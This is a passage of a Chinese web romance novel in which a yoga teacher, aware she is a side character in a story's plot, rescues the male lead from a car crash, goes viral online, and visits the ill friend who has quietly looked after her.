“好。”林珩一直看着她，目光深邃专注。 姜舒妍看到林珩被救出来，内心松了一口气，她绝对不再容许高雯再破坏她和林珩之间的感情，她见围观的人越来越多，跑着往那头走。 这时候，救护车来了。 车门打开，医生和护士抬着担架冲下来，将林珩小心翼翼转移到担架上。 得知是高雯给林珩处理的伤口和固定腿，医生赞扬道：“抢救措施很专业，你也是医生吗？” “不是，我只是学过一点皮毛。”高雯摇头，她刚刚记录了时间和伤势情况，一一将数据告诉医生。 整个营救过程，高雯的思路非常清晰，大胆果断且具有专业的急救知识。 林珩发现他对高雯的了解，还是少之又少。 她和林思悦同龄，却有着同龄人都没有的心理素质和能力。 医生让高雯一同陪同去医院，高雯拒绝了。 她看到急匆匆赶来的姜舒妍，开口道：“那是他朋友，让她跟着去吧。” “阿珩，你没事吧？”姜舒妍看到林珩正在流血的两条腿，浑身开始发软，都不太敢上前。 林珩没回她，一直看着干脆利落离开的高雯，目光不舍。 姜舒妍紧咬着牙。 早知道会给高雯做嫁衣，她就应该阻止林珩逃过这一劫！ * 高雯赶到瑜伽馆，已经迟到了半个小时。 会员在等着了。 “实在不好意思，路上遇到了点事情。”高雯道歉，赶忙往教室走。 “雯雯老师，你的手流血了。”会员指了指高雯的手背。 高雯这才发现，她的手背上有一道刮痕，血迹微微渗出，手心也有点几道浅痕。 估计是刚刚砸玻璃的时候割到的。 “没事。”高雯轻笑。 前台小姑娘受高雯照顾很多，一听说她流血，连忙从急救箱把止血贴拿出来。 “谢谢。”高雯贴了几片止血贴，就带会员去私教教室了，她笑着道，“没影响，不碍事。” 整个早上，高雯上了一节又一节的课。 十一点上课的会员一进门，就笑着道：“雯雯老师，好样的！”她说着，还竖起大拇指。 “谢谢夸奖，你上课迟到了五分钟，我们要快点上课了。”高雯经常被夸，完全没多想，顺着她的话说。 下完课，高雯才从会员口中知道，她救林珩的画面被在场的群众拍摄下来，并且上传到了网上。 尤其是她和几位小伙子刚把林珩救出来，身后的汽车就发生了大爆炸，从视频中，都能听到在场人的惊呼害怕声。 高雯很快离开现场，赶着来上课，在场的壮汉大叔和小伙子则接受了采访： “我们就是出点力，全靠那个小姑娘，她是专业的，而且心理素质非常强大，令人佩服。” “汽车爆炸的时候，我都抖了。” “我看到小姑娘都敢上前救人，我怎么能坐视不管，肯定要帮忙啊！” 轮到医生接受采访时，也夸高雯处理伤势及时，很大程度上让伤员免于二次伤害。 高雯从教室走出来，馆里几人就迎上来了，纷纷夸她厉害。 张妮把高雯拉到一边，看着她手背上的止血贴，忍不住道：“你是真不怕死啊！那么危险的地方，你一个小姑娘也敢过去。” “我没想到汽车会爆炸。”高雯记得剧情里是说不会，她只是为了保险起见，所以才要把林珩救出来。 “你怕不怕？”张妮叹气。 高雯老实点头：“怕啊。” 她当然怕，现在还没到她下线的时候。 而且，剧情也不是完全按照剧本走吧？这一次不就改变了吗？ “胆子真大，看视频的时候都把我吓得半死！”张妮说着，伸手拍了拍胸口，“不过有好的一点，你又上热搜了，粉丝涨得飞快！” 这一次，直接突破四百万粉丝。 这些都是真人粉，财富自由那是指日可待。 这一次营救，不少人在围观的人，从高雯砸窗，再到给林珩绑伤口止血、固定骨折的腿，都有各个角度的拍摄。 她全程冷静，动作果断。 林珩送上救护车后，默默离开。 这种不能是作秀吧？ 网友不得不佩服，视频点赞迅速，粉丝一直猛涨不停。 不少网友纷纷评论道： 【上一次看到她，是她给拉二胡的残疾大爷捐款，这一次又是救人，感觉是一个美丽心善的人，而且也太自律优秀了吧！路人转粉！】 【不愧是我的偶像，好厉害啊！话说那位受伤的伤员长得不错啊！会不会发生一段美好的姻缘呢？】 【哈哈哈，他的命可是她给的，要不，以身相许好了？！】 【现在就下单课程，表示支持。】 徐眉和张妮等人原以为接着这股风，高雯和她们馆最多刷一波好感，涨点粉丝。 她们是万万没想到，高雯之前录播的课程，销量居然一路猛增，一天之内，卖了好几万单，数据还在不断飙升。 那可就是几百万！ 高雯听到都直拧眉，连忙提前开直播，再三强调：“大家理性消费，有需要再下单。救人只是举手之劳，换成谁都会和我一样，而且，他是为了不撞上前面载着小婴儿轿车，才打了方向盘撞到树上。” 网友就是我不管我不管，下单得更厉害了，甚至直言：“救人还是需要勇气的！你这么心善的人，编的课程一定很用心，赚的都是良心钱，肯定不会害人！就要跟着你练！” 高雯上一次已经感受到流量的强大，这么关键的风口，她不敢随便发声，甚至让张妮不要发视频，这一波流量，还是不要蹭为好。 她刚下了播，就看到方寒给她打了好几个电话。 方寒之前给她发过不少消息，也留过言，高雯都没看没回，她怕控制不住情绪。 估计他是知道了这件事。 高雯想了想，走到一边回拨了他的电话。 电话很快接通。 “学长。”高雯笑着打招呼，“我刚刚在忙，就把手机静音了。” “我才看到网上的消息，你有没有事？”方寒话语着急，他还是听顾书杰他们说的，他最近忙于工作，自从高雯回来，他也不怎么在意网上的消息了。 “没事。”高雯否认，“我很好，让你担心了。” 这一次能改变所谓的剧情，和她认知里不一样，还是让高雯意外又开心，她的结局，或许也不是定死的，能够被改变。 所以，她和方寒说话的时候，语气轻松很多。 “没事就好。”方寒说着，轻轻咳了两声。 高雯刚要开口问他是不是不舒服，方寒声线有些沙哑道：“我先忙工作。” “好。” 没等高雯多思考，张妮就告诉她，林思悦来了。 高雯走出去，林思悦就站在门口，红着眼眶看着她。 “怎么了？”高雯刚关切问出口，林思悦就朝她走来，伸手抱住她，哇哇大哭，“雯雯姐，雯雯姐，呜呜——呜呜——” “怎么哭得这么委屈？”高雯伸手轻拍着林思悦的后背，她能猜到是什么事，安慰道，“你是为你哥的事情吧？他大难不死，必有后福。” 高雯想告诉林思悦，你哥是男主，有所有主角光环， 虽然不公平，但也是事实。 “谢谢你救了他，我觉得我很对不起你，我真的很对不起你。”林思悦哭得很委屈。 “你没有对不起我，我的事情和你一点关系都没有。”高雯很肯定告诉她，而后笑道，“你也休息了这么久，该回来上班了吧？馆里人手都忙不过来了。” 林思悦擦着眼泪：“我过几天回来上班。” “等你啊，尽快，这个馆里没你，还是缺了很多欢乐的。” “真的吗？” “千真万确，我们不能离开你！” 林思悦被高雯哄好，红着眼笑了，一直抱着她 高雯救人的热搜还在继续发酵，让她又火了一把。 当天晚，高雯回到小公寓。 开门开灯，灯光并没有立刻亮起来，她的心漏了半拍。 不过，很快又亮了。 高雯看着空无一人又寂静的客厅，慢慢走进去，坐在茶几上。 她的脑海回想方寒今天给她打电话的场景。 他生病了？ 那晚他在外面等她，不知道等了多久，而且还有点下小雪，着了凉？ 高雯收起乱糟糟的情绪，她的瑜伽服今天都被用来给林珩当绑带了，没得换，身上黏糊糊，得赶紧洗澡。 等她洗澡出来上床，见手机亮了亮。 高雯第一时间拿过来，发现不是方寒给她发的消息，而是林珩。 她看到他的消息，连内容都懒得看。 拉黑。 微信和电话都拉黑。 烦人！断了腿都不老实！ 次日。 高雯从洗手间出来，听到张妮和胡虹聊天。 “方工今天好像生病了，都没去上班啊。”张妮跟胡虹说。 “是吗？我给他打个电话。”胡虹掏出手机就打给方寒。 电话那头，方寒咳嗽不断，面对胡虹的关心和要去看望，他直接拒绝，“不用，不是什么大事，我吃药了，睡一觉就好了，我先去睡了。” 胡虹挂掉电话，无奈道：“这孩子就是这样，不让我去，什么事情都自己处理。从小到大，就没让我操过心，但也不亲近啊。也不知道是不是因为是男孩子，所以这样。” 张妮笑。 胡虹对于方寒前段时间的失魂的行为，估计没知道多少。 高雯走出来后，两人很有默契不谈方寒的话题。 感情的事，哪能强求。 她们撮合过了，高雯没意向，那有什么办法呢？ 喜欢高雯的人那么多，难道每一个都要有说法啊？这不是给人家小姑娘徒增困扰吗？ 高雯上完了下午的课，晚上的会员没空来，就取消了。 她提前回去。 高雯没回小公寓，而是往另一个方向去。 进了小区，她站在单元楼前，没有门卡，进不去。 她拿出手机，迟迟没给方寒打电话，不知道该怎么说，最后有个老大爷从里面出来，她走了进去，进入电梯，上了楼。 说来也巧，高雯刚出电梯，走到门前，就遇到从里面出来的许菲。 许菲看到高雯，也很诧异：“你回来找方寒啊？” “不是，”高雯下意识否认，“我还有东西没搬完，回来拿。” 这是她找的一个完美借口。 “这样啊，快进来吧。”许菲开了门，“这里房子很抢手的，一到期就有人租了，你要搬东西的话，就得抓紧搬了，有可能当天都会有人住进来。” “不过，你房子都没到期，你提前几个月就搬走了，太浪费了。” 高雯听着心里滋味难言。 她的房子早就到期了，方寒跟她说的是房没租出去，只有一种可能，那间主卧被他租下来了。 “方寒经常给你的房间打扫，很勤快的，”许菲说完笑道，“你没搬来的时候，那间房也被他打扫了很多遍，地板都快擦亮了！” 高雯眼底微闪，喉咙像是被堵了棉花，接不上话。 “完了，我得走了，你去找方寒吧，他今天在家。拜拜。”许菲匆匆说完，就走了。 高雯看着那间主卧，她走过去要开门，房门被关着。 也是了，她有东西在里面，方寒自然要关着。 高雯走到次卧，她站在门前，斟酌了一会，抬起手，轻轻敲门。 “叩叩叩——” 没动静。 高雯又敲了声，还是没人开门，她把耳朵靠在门上，紧张听着里面的动静。 不会是烧晕过去了吧？ 高雯想着，眸光闪过一抹慌乱，站得更近一些，伸手就要拍门。 不料，房门突然被打开。 高雯的身子一倾，跌入了一个温暖的怀抱，她惊呼一声，伸手抱住来人的腰—— 作者有话说：一更二更一起更了哦。 晚安。 大家就晚上十二点再看吧，因为实在太卡了，正在慢慢收尾了。 第64章 第64章 方大好人，你总是这样！ 方寒这两天都在发高烧, 他吃了药，上床准备睡觉。 睡得早点好，免得夜深人静胡思乱想。 他刚躺下, 就听到敲门声。 一开始以为听错了, 第二遍的时候缓缓起身。 方寒猜想是许菲，高雯搬出去没多久, 隔壁那位大哥也搬走了，就只剩下许菲，不过她没事也不会来找他。 一打开门, 一个人影扑来，方寒第一反应是推开, 在感受到熟悉后，他停住了举起的手, 任由高雯往怀里倒。 在高雯抱上他的腰时, 方寒面色蹭一下爆红, 心跳骤然加快，感觉快要从喉咙眼蹦出来。 他的手慢慢放下, 想要把高雯抱住时, 她猛地从他怀里起身，眼神闪躲, 着急解释：“学长, 不好意思，我没站稳。” “咳咳咳——”方寒微微侧身，轻咳了两声掩饰尴尬。 高雯看着他, 语气担忧：“你没事吧？” “没事，有点小感冒，已经好得差不多了。”方寒温声接话道, “你怎么进来的？都没提前告诉我，我好下去接你。” “我又不是不认识路。正好遇到许菲姐，她让我进来了。”高雯说着，往客厅走。 方寒点了点头，跟着她往外走：“你刚下班？” 他打开冰箱，拿了一瓶牛奶走到厨房。 “对啊，”高雯原本都在沙发上坐下来了，见方寒在忙活，起身走上去，“你都生病了，别忙了，我不喝。” “再不喝要过保质期了。”方寒说着加热好的牛奶拿出来，给高雯倒了半杯。 高雯看着熟悉的杯子。 那是她上一次和方寒去超市买的。 “下次你就只买一瓶，就不会过期了。”高雯接过来说。 方寒：“买一瓶也常常忘记喝。” “那就不买啊。” “习惯了。” 方寒脱口而出的话，让狭小的厨房内，气氛倏然一变，高雯喝牛奶的动作都顿了顿。 最后还是方寒打破僵局，他笑道：“你要大晚上搬东西吗？折腾完很晚了。” 高雯现在躲他都来不及，总不可能是因为他生病，专门来看他吧？ “我是听说你生病了，来看看你。”高雯握着牛奶，垂着眼眸，“生病很不好受，我想着，要是没人给你做饭的话，我来给你熬点粥，以前我生病，你也很照顾我。” 高雯原先是想找来搬家这个理由，但看到方寒，觉得这么扭捏没意思。 她的确是关心他，做不到没心没肺。 方寒确确实实对她特别好。 加上林珩的那件事，让高雯也有点感触。生与死，就在那么一瞬间，生命可以很坚强，也会很脆弱。 剧情也可以被改变的，不是吗？ 方寒听到高雯的话，倏然愣住神，眸光里随即泛起和软温情，眉梢染上愉悦笑意望着她轻声问：“你会熬粥吗？” “我不会啊，但网上有那么多视频，我可以现场学，跟着步骤一步步来，”高雯微微拔高声线道，“大部分东西只要我一学就会，厨艺这一块，我只是太忙了，还没来得及学。” 方寒眼底溢满笑意，神色温柔似水，一点都没反驳：“也是，你很聪明，肯定一学就会了。” 高雯见他这么说，气势柔下来，谦虚道：“太复杂的也不会，但煮粥应该很简单。” “嗯。”方寒点了点头，转身去房间，没一会，又走出来。 高雯看到方寒手上拿着药箱，坐在她身边，看着她贴了几片止血贴的手：“你的伤口，我看看。” 高雯：“也不深，过几天就好了。” “小心留疤痕。” 方寒这话一出口，高雯瞳孔微张，她低着头，开始小心翼翼撕开止血贴查看。 留疤不行！ 美女不留疤！ 方寒看着高雯着急的模样，嘴角漾开，心尖发软，他打开药箱，找了药。 高雯这两天都用止血贴捂着，伤口发白，方寒看到时，剑眉蹙了蹙：“你这样贴着，不消毒不擦药，什么时候才能好？万一拖着感染了，要拖好久。” 高雯倒不怕这个，主要是怕留疤。 方寒用棉签沾了药，递给她。 高雯伸手接过来，一点点上药。 她怕留疤，擦得很仔细。 方寒看着高雯，斟酌片刻好久，还是没把想说的话说出口。 他看到视频的时候，后怕不已，但他也不能去阻止她做想做的事情。 “下次小心一点，尽量避免受伤。”方寒说。 “嗯，”高雯点头，抿唇道，“其实我也没想那么多，现在想想，还挺让人害怕的。” “你很勇敢，也很冷静果断。”方寒说完道，“这不是我说的，是广大网友说的。” 高雯笑：“不知者无畏嘛，谁能想到汽车会爆炸。” 方寒想起那个画面，神色收敛了些，他把止血贴拿出来，撕开包装后递给高雯。 “谢谢。” 高雯正贴着，方寒起身往厨房走：“你想吃什么？” “我是来给你煮粥的。”高雯连忙站起身，往厨房走，“我是有多么丧尽天良才会让你一个病人给我做饭啊？” “我好了，”方寒回头，“再说，你的手刚上药，能做饭吗？” “”高雯看了看自己的手，摇头道，“那也不要你做。” 方寒：“没关系。” “我得帮你。”高雯说。 “你想吃什么？”方寒回头看向她，“家里冰箱里的东西不多，有些青菜和一些鸡翅还有虾滑。” 高雯看着方寒神色里的温情，心里泛起阵阵涟漪，被一股莫名的暖流填满。 和他待在一起，还是会让她内心平静安宁很多，让她感觉自己不孤独。 “喝粥吧，你还在生病。”高雯说。 “好。” 高雯没想到，煮粥也是有很多讲究，方寒忙的时候，她站在一边，想着自己能帮上点忙，结果她完全插不上手，只能待在厨房，跟在他身后抬头探来探去。 方寒煮了咸蛋黄虾滑青菜粥，他的动作娴熟。 期间，他还抽空给高雯削了苹果。 “这个苹果太大啦，吃不完，”高雯闻着香喷喷的粥，“我一会还要喝粥。” 方寒切了下来一小半，本来想把这小半留给自己，结果高雯率先抢过来，“我要这小半。” 她拿到苹果，咬了一口。 苹果嘎嘣脆，汁水清甜，高雯眉眼弯弯。 “好吃吗？”他问 “嗯。” “好吃就行，”方寒眸光缱绻，把苹果放在一边，走过去搅动锅里的粥，“马上好了。” “我去拿碗筷。”高雯伸手，揪住方寒的衣角，轻轻将他拉扯到旁边，方寒相当配合她，让出道。 她走过去打开洗碗机，从里面拿出消毒好的碗筷。 方寒看着火候差不多了，关了火，拿起碗盛粥。 “我来端。”高雯伸手去接。 方寒没放手，端着就往外走，放在餐桌上，他转身回来时，看到高雯拿起碗，正在盛粥，他赶紧走过去，想要伸手接又怕弄撒烫到她，不断提醒道：“小心点，别盛太满，” “我知道。”高雯放下勺子，双手端着碗，她转身往外走的时候，手抖了下，方寒吓得伸手就要去接。 高雯稳稳扶住了，她看着方寒一副如临大敌的模样，有点想笑。 “慢点。”他说着还不断道，“下次放着我来就好。” “谁端不是端啊？”高雯说。 方寒一本正经道：“我皮比你厚。” 在他看来是这样，她皮肤白皙娇嫩，要是被烫到，肯定很严重，而且比较明显。 高雯端着继续往餐桌走，唇角的笑意不断加深。她吃了口鲜香美味的咸蛋黄虾滑粥，放下勺子，看向对面的方寒道：“不对，我是来关心你的，不是来蹭晚饭的！” 怎么变成了方寒给她做晚饭。 “你是不是没吃晚饭？”方寒问她。 “嗯。”高雯点头。 “留你吃饭是待客之道。”方寒说。 高雯觉得有点对，微微歪头，还认真想了想，半晌后，她抬眸看向方寒，“你说话绕我呢？我又不是客人，是你生病了，我让病人做饭给我吃就很不对。” 方寒笑：“我好了。” 高雯又仔细看了他好几眼，吃了口粥，厚着脸皮道：“反正饭也做好了，都吃上了，我说这些既得利益者的话，又有什么意思呢？” “蹭你做的饭也不是一顿两顿了。” 吃完饭，方寒回屋取钥匙，将主卧的门打开：“今晚是搬不完了，你有什么要取的，可以先取走。” 高雯往里走，她离开时什么样，现在就是什么样。 非常干净，不禁让她联想到，许菲说方寒经常打扫。 “谢谢。”高雯对方寒说。 “谁让我是大好人，应该的。” 方寒的话，让高雯联想到自己放在桌面上的那张纸条，她有些不好意思起来：“你这是在记仇吗？说话点我呢？” 她当时脑子太乱，迫切想要逃离这个环境。 只能不辞而别。 “绝对没有。”方寒否认，缓缓出言道，“你有自己的想法，我只是担心你。” 他真的很担心，去找高雯好几次也只是想要见见她。 哪怕在帖子里，网友拍摄到她的状态很好，方寒也想亲眼确认。 高雯听到这话，心脏被一根细绳微微牵动，她转身往外走：“算了，下次再收拾吧，也没什么紧要的。我就是来看看你。” 她只是担心他，想来看看。 譬如他也很担心她一样。 方寒听到高雯这么说，心里哪能不触动，在她要离开时，他穿上衣服，也跟着她出去。 “你不用送了，外面冷。”高雯说。 方寒：“没事。” “你生病还没好。”高雯又说。 方寒眼底一再坚持：“太晚了，我在家也不放心。” 高雯还想说什么，他开了门：“走吧，我就送你到小区门口。” 闻言，高雯没再拒绝。 两人出了门，又进了电梯。 中途进来一家三口，还带着婴儿车，空间一下变得拥挤，高雯不断往后退，挤到方寒身边，他伸手，将婴儿车稍稍上前推了些，和高雯隔开一段距离，免得一会磕碰到她。 高雯回头看方寒，一下与他视线相对，撞入他清亮的黑眸里，心跳止不住加快。 她快速扭头，目视前方，脑子都有点卡壳。 方寒比高雯更好不到哪里去，他脖颈发硬，僵直站着。 电梯在一楼打开。 出去之时，高雯一时没回神，方寒走上前，他的手与她的手背相触碰，他更是像触电般缩回。 高雯本来也尴尬，在看到方寒红温的脸后，她就有点想笑了。 她觉得她的皮应该比方寒的厚很多。 高雯住的小区与这里离得不远，就在隔壁，走出小区没几分钟就到了。 方寒送她到小区门口，就没再往前，非常有分寸感。 高雯看着停下脚步的他，指了指前面那栋楼，笑着道：“我住在七栋的1402，是一间小公寓。” 她既然都主动去找他了，自然就没想躲着他。 方寒没料到高雯会主动说她的新家地址，他还停留在她不想让他知道，微微错愕后，挑着眉眼笑开了，点了点头：“我记住了。” “那我回去了咯，晚安。”高雯摆摆手，往里走。 “晚安。” 高雯走了很远，回头还看到方寒站在原地，一直看她。 她眼睛弯成月牙儿，小跑着往里走。 高雯一路回到小公寓，打开门，一片明亮。 她搬到这里后，无论是白天黑夜，都没关过灯，屋内一直亮着。 一个人待着还是略感孤独，不过比前一段时间好很多，高雯还走到了阳台，想看看方寒还在不在，遗憾于这个视野看不到。 * 接下来的几天。 高雯忙于论文修改，这一次是初步定稿，她可谓是费尽心思。 之前方寒会帮高雯查资料，两人在客厅一起过过稿，还有人陪着自己，现在就只剩她自己，一下怪不适应的。 时间太赶，高雯只能把电脑拿来瑜伽馆，趁着午休修改，加班加点。 剧情里，她的论文还出现了问题，毕业艰难。 高雯想到这，更加不能接受。 她从小到大，品行兼优，学习一直名列前茅，学习就是她自律的第一步，她怎么可能毕业艰难？ 她当然要从A大顺利毕业，这可是她当初拼了命才考上的梦中情校。 “吃雪媚娘了，”张妮打开休息室的门，笑着走进来对高雯道，“小悦买的，她说她明天来上班。” 高雯原本要拒绝，一听说林思悦带来的，伸手接过来：“她呢？” “她去医院看她哥去了，”张妮吃着甜品，“她说是这家烘焙店新开业，口感特别好，就让外卖小哥给我们送了两盒，让大家分着吃，”她说完，特意对高雯道，“她说一定要给雯雯姐尝一尝。” 高雯浅笑，将电脑合上，小口吃着，味道的确不错。 张妮看到她电脑上的贴纸，满脸笑容随口道：“原来这是你的电脑啊，当初修电脑的钱，都够买台电脑了吧？” 此言一出，张妮察觉到高雯脸色不对，立刻止了声。 当时是方寒把这台电脑拿去修的，想到两人如今的关系，她都后悔提起这件事。 方寒当初说修好不麻烦，连钱都没要，听张妮这么说，高雯还有什么不明白，她接话道：“当时里面有不少资料，所以就想修好，方寒帮了大忙。” “我就说里面肯定有重要资料，我老公还说重新买一台。方工找了一圈还是找到人了，他修复的技术很强，就是费了点时间。”张妮道。 高雯小口吃着雪媚娘，已经吃不出什么味道。 她记得方寒拖延了一段时间，原来在抓紧时间修复。 他的性子就是这样，总是默默做一些事情。 租房子的事情、手机的事情、电脑的事情、还有给她做早餐、晚饭、还给她花茶她告诉过自己，不能欠他太多，还是欠了那么多。 高雯没了改论文的心思，她拿过一边的手机，方寒不知道什么时候给她又发了两份论文的资料。 聊天记录往上翻，全部都是他之前给她发的消息，话语很担心，她那段时间“断网”，一条都没回，后来他也没发了，说是怕打扰她，希望她玩得开心。 高雯撑着下巴一条条在看，她干脆一个视频电话打了过去。 视频接通后，方寒在楼梯间里，他坐在台阶上，那张清俊的脸出现在屏幕里。 “有没有打扰到你？”高雯问。 “没有，中午不上班。”方寒摇头，“没什么打扰的。” “你发的资料我看到了，正在疯狂改，这个周六要去学校，不知道又要挨骂多久。”说起这个，高雯还是有些烦。 方寒：“一起去吗？这个周末我也要回学校。” “学校那边的项目还没处理完吗？”高雯问。 “快了。” 高雯并不抗拒，甚至还道：“如果我少挨骂的话，我就请你去小后街吃火锅。” “这顿火锅，看来吃定了。”方寒笑开，缓缓出言道，“这顿饭就当你不辞而别的赔礼。” “又说这个，”高雯撅嘴，控诉道，“我觉得你肯定有点故意。方寒，你肚子里也有坏水！我高估你的善良了！” 方寒唇角上挑，看着手机那一头她的一颦一笑，眼眸里皆是温柔。 * 周六。 高雯早上还起来去给胡虹上了一节课，下课后往学校赶。 到了学校，方寒已经在门口等她了。 他看着她拎着的袋子，风格有些熟悉。 “你妈给我煮的山药芙蓉羹，我来不及吃了，就先带过来，”高雯举了举手中的袋子，“分量不少，我一会可以请你一起吃。” “谢谢你的分享，”方寒接着道，“这个芙蓉羹应该是我爸做的。” “啊？你妈说她专门给我煮的。”高雯反驳。 方寒看向她：“我妈不会做饭，估计是从网上看到的菜谱，让我爸研究的。” 高雯：“” “这肯定是她的心意，我爸只是执行者。”方寒笑着从她手上接过来。 “我想去一食堂买个酱肉包，好久没吃了。”高雯说。 “走吧。”方寒往前走，看着走在他身侧的高雯，将手上的另一个小袋子递过去，“我让朋友在医院买了一瓶药膏，据说这个药膏温和，恢复效果好，不留疤。” 高雯看着自己手背上那道显眼的疤痕，默默接过来，内心感动：“除了说谢谢，我都不知道要和你说什么。” “那就下次小心一点。”方寒含笑对她说，“举手之劳，是很小的事情。” “电脑的事情呢？是小事吗？”高雯问。 方寒没想到她突然扯到这上面，一时没反应过来。 “我都知道了，你最好坦白。”高雯看着方寒，轻哼一声，“不坦白的人，一会没有酱肉包吃，也没有火锅吃，更没有山药芙蓉羹吃！” “这个啊——” “不许骗我。”高雯举起食指，伸到方寒眼前，“从实招来。” 高雯伸得太近，手指都能感受到方寒炽热的呼吸，像轻柔的羽毛撩动，她赶紧把手缩回来，微微昂头看向他，还严肃眯了眯眼，目光看着很犀利。 方寒被看得心猿意马，又舍不得移开视线：“修复数据花了点时间，其他还好。” “你下的工夫都能买几台电脑了吧？”高雯说。 方寒：“这个没法比较，你存了很多论文资料，还有写的零碎稿子，也废了很多心思，我不想你的心思白废了，能修复就是好事。” 高雯：“你也不能骗我，说没花什么钱。” “我们之间，不用计较这个。”方寒看着前面开来的车，伸手虚搂了下高雯的肩膀，“你走里面。” 高雯往里走：“方大好人，你总是这样！” 方寒抿紧了薄唇，剑眉都微微蹙了蹙，似乎对这个称呼有一种无奈。 他哪有那么烂好人？也就对她这样。 “我一会请你吃个大酱包，”高雯说着身子不自觉往方寒那头倾了倾。 “好。” 高雯最后是吃上香喷喷的大酱包了，不过还是方寒去买的。 档口人太多了，她都挤不进去，只能在外面等。 方寒买了三个，她两个，他一个。 高雯看着手里热乎乎的大酱包，又看了看还给她买豆浆配着吃的方寒，忍不住垂眸笑了。 她还得稍加克制内心的欢喜。 第65章 第65章 高雯上次离开之前，方寒带队…… 高雯上次离开之前, 方寒带队研发的《Al瑜伽教练》完成核心研发，已经进入内测阶段。 项目虽有延迟，但未搁浅, 封闭内测的用户提供的数据反馈做了详细整理, 方寒带队修复了不少bug，只等高雯做进一步优化, 打磨完善后，就能上市。 年前，高雯除了忙于上课, 就是在处理这个事情。 因为都是大数据，单靠方寒一个人没办法处理, 高雯接连一个星期，每天晚上都去顾书杰的公司开会, 张妮怕她一个人尴尬无聊, 也跟着去。 顾书杰给大家伙订的夜宵, 每次都是汉堡加薯条咖啡。 张妮都看不下去了：“你就不知道点别的东西吗？吃了这么久，你不腻吗？” “这是新口味, 都还没尝过, 怎么会腻呢？”顾书杰说着，打开闻了一下, 要让张妮吃第一口, “老婆，你尝尝再说，肯定好吃。” 大庭广众, 张妮看到齐刷刷看过来的员工，她红了脸，把顾书杰的手推开：“我不吃。” “吃一口, 来——” “啪——起开！” “哦。” 顾书杰被张妮打了一下，听话了。 办公室的人憋笑，就连高雯都勾了勾嘴角。 美好的婚姻和爱情，大家还是向往的。 尤其是顾书杰听到他们嘲笑后，不屑切了声：“单身狗笑什么啊？你们有资格吗？”他说着，目光在办公室好几人之间一一掠过。 很不巧，在座都是单身狗。 恕他直言，他说的是全部！ “靠。” “艹——” “你有毒吧？黑心资本家！” 办公室内骂骂咧咧的声音此起彼伏，还带着噼里啪啦大力敲打鼠标键盘的动静。 “赶紧干活！马上放假回家过年了！”顾书杰啃着汉堡，吃得更香了，他还慢悠悠来到方寒面前，本来想调侃几句，看到坐在不远处的高雯，伸手拍了拍方寒的肩膀，抿唇叹息道，“辛苦了，加油啊！” 方寒都不能和喜欢的人在一起，只能遗憾错过。 实在是世界上最痛苦的事情，他不能往方寒伤口撒盐了。 方寒听懂了顾书杰话语里的的同情，见高雯也看过来，头疼得抬手揉了揉眉骨，他的好脾气都要被磨光了。 黑心资本家赶紧走吧！ 大家都默契不提方寒和高雯之间的任何事，更别说打趣了。 就连开会时，顾书杰都要故意把两人隔开，张妮就是来活跃气氛的。 他们却不知道，加班结束后，高雯和方寒都一起走回去。 * 林思悦回到瑜伽馆上班了。 刚开始两天，她还有点小忐忑，看到高雯没和以前一样肆无忌惮，举止都有些收敛，和以前没心没肺的样子相差甚远。 最近发生的事情，让林思悦好似一下成熟起来。 姜舒妍走到骗林思悦担保这一步，俨然是把资金流都用完了，姜传文装傻，他怎么可能会把几百万拿出来平账，而且他都不清楚姜舒妍还有多少雷，不可能替她擦屁股。 林家为了不影响林思悦，只能先填坑。 这件事还没完，林珩就险些出车祸死了，这要是真死了，一个家就散了。 林父林母最近都去庙里烧香拜佛，迷信上了。 高雯接连两天请大家喝奶茶甜品，借机和林思悦聊天，上课时，对她格外关照，才让林思悦稍稍放下愧疚，性子活络不少。 胡虹没上网，她还是在其他会员的口中，知道了高雯救林珩的事情。 “那很危险啊。”胡虹知道后，倒吸一口气，吓得脸色都变了，看向高雯，“雯雯，你一个小女孩，看着文文静静，这么勇敢，太令人佩服了。” “就是太危险了！” “都过去了。”高雯说。 胡虹看了视频，还是吓得心口狂跳，看着高雯欲言又止，最后忍不住出口：“下次还是不要做这么危险的事情，我会担心的。” 她刚刚那副欲言又止的样子，和方寒真的很像，高雯不由想到了他未说出口的话。 只是，方寒没出口。 “我知道了。”高雯笑着接话。 “你真是个好孩子，”胡虹今天给高雯带了牛奶花胶，“这个好，美容养颜。雯雯，你今天要多吃一点。” 这段时间，胡虹是换着花样给高雯带补品。 从冬虫夏草再到阿胶燕窝，现在又是花胶。 高雯端着碗小口小口吃，笑着对胡虹道：“阿姨，我减轻的那几斤已经涨回来了，您别再投喂我了。” “那也瘦啊，”胡虹目光怜爱看着高雯，忍不住伸手摸了摸她的头顶，“多好的孩子啊，你要是我的女儿就好了。” 高雯喝牛奶的动作微微顿住，她突然想起，宋洁恨不得从来没生过她，根本不会觉得她有多好，只当她是累赘。 人与人多么不同。 “你这么喜欢雯雯，要不让她做你干女儿好了。”徐眉听到胡虹的话，走过来笑着说。 闻言，张妮也望过去。 她的心都紧张起来。 干女儿？ 那高雯不得叫方寒干哥哥？ 这—— 喜欢的人变成干妹妹，这是什么狗血事情？低头不见抬头见，好像不是什么好事情。 张妮是一百个不想让胡虹答应，她又不能开口阻止。 胡虹心里自然也想得明白，她拉着高雯的手，亲昵道：“什么干女儿不干女儿，我就把雯雯当我亲女儿。” 徐眉也就说句玩笑话，她继续开口道：“今年我们馆的业绩非常不错，出乎我的意料啊，明天开完会，大家就回家过年了。” 此言一出，馆内欢呼雀跃。 省外的老师和店员，都在讨论着买几号的车票回去过年。 “雯雯，你几号回家呀？”胡虹问高雯。 “我今年不回去。”高雯说。 以往，高雯寒暑假都会留校，有钱就出去旅游一圈，没钱就趁着节上高工资拼命兼职，多给自己存点生活费。 按照打算，她应该是去旅游的，不过前几个月才旅游回来，实在累了，不想再出去。 胡虹：“不回去，一个人在这边过年啊？” “嗯。”高雯点头，笑道，“也没几天，我可能会成为馆里第一个开课的人。” “我原本说初八才开课，雯雯老师说她的课初五就能开。”徐眉说着都摇头，无奈道，“这可不是我压榨她，她自己要求的。” “我都休息几个月了。”高雯笑，“多上课没什么不好。” 胡虹听着她们说的话，眼底有些深思。 第二天。 馆里开完会，徐眉做了总结发言，最后道：“考虑到有些人回家路途遥远，赶飞机不容易，就不发节上礼品了，直接发个红包吧。” 于是每个人都拿到一个大红包还有提前发的工资和奖金。 尤其是对于高雯，奖金那叫一个丰厚。 后面都跟着好几个零。 高雯以前总想赚很多钱，她觉得自己需要很多钱。 她的账户里如今有了不少钱，对她的生活好似并未有很大变化。 单单靠她自己的努力，好像就能过上她理想的生活，所谓的向上攀爬，好像只是宋洁从小灌输在她脑海里的一个执念，她并没有那么需要。 